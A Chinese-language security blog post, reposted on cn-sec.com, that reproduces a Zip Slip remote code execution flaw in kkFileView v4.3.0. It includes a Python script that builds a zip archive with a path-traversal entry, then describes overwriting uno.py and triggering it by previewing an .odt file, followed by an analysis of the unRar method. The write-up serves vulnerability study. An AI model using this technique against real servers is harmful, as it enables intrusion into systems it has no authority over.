kkfileview远程代码执行漏洞

admin 2024年5月15日20:47:57评论30 views字数 936阅读3分7秒阅读模式

漏洞描述

kkFileView由于前台上传功能在处理压缩包时,会获取文件名及其目录,导致出现了Zip Slip漏洞。这使得攻击者可上传包含恶意代码的压缩包并覆盖系统文件(uno.py),随后通过调用被覆盖的文件实现远程代码执行。

1、环境搭建:

复现版本:v4.3.0

https://github.com/kekingcn/kkFileView/archive/refs/tags/v4.3.0.zip

使用idea搭建运行:

kkfileview远程代码执行漏洞

kkfileview远程代码执行漏洞

2、漏洞复现:

参看POC:

https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC

构造恶意压缩包:

import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'test'
        binary2 = b'test'
        zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("test.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
        zipFile.close()
    except IOError as e:
        raise e

环境为本地win10搭建,需要4个../,与POC不一致。

kkfileview远程代码执行漏洞

运行poc——上传poc生成的zip文件——点预览:

kkfileview远程代码执行漏洞

成功追加恶意内容:

kkfileview远程代码执行漏洞

最后上传任意.odt后缀的文件并预览:

kkfileview远程代码执行漏洞

成功执行!!!

kkfileview远程代码执行漏洞

3、漏洞分析:

问题出在预览文件的地方,在预览文件控制器断点

kkfileview远程代码执行漏洞

跟进filePreviewHandle

kkfileview远程代码执行漏洞

跟进unRar方法:问题就是出在unRar上;

kkfileview远程代码执行漏洞

kkfileview远程代码执行漏洞

由于unRar方法在文件落地的时候没有对../过滤,导致我们制作的uno.py的内容写进了系统的uno.py中。

kkfileview远程代码执行漏洞

kkfileview远程代码执行漏洞

这只是写入了恶意内容,根据大佬的方法,系统在odt文件转pdf时(预览odt文件的时候)会调用uno.py文件,进而会执行写入的恶意代码。

kkfileview远程代码执行漏洞

原文始发于微信公众号(fly的渗透学习笔记):kkfileview远程代码执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月15日20:47:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   kkfileview远程代码执行漏洞https://cn-sec.com/archives/2741437.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息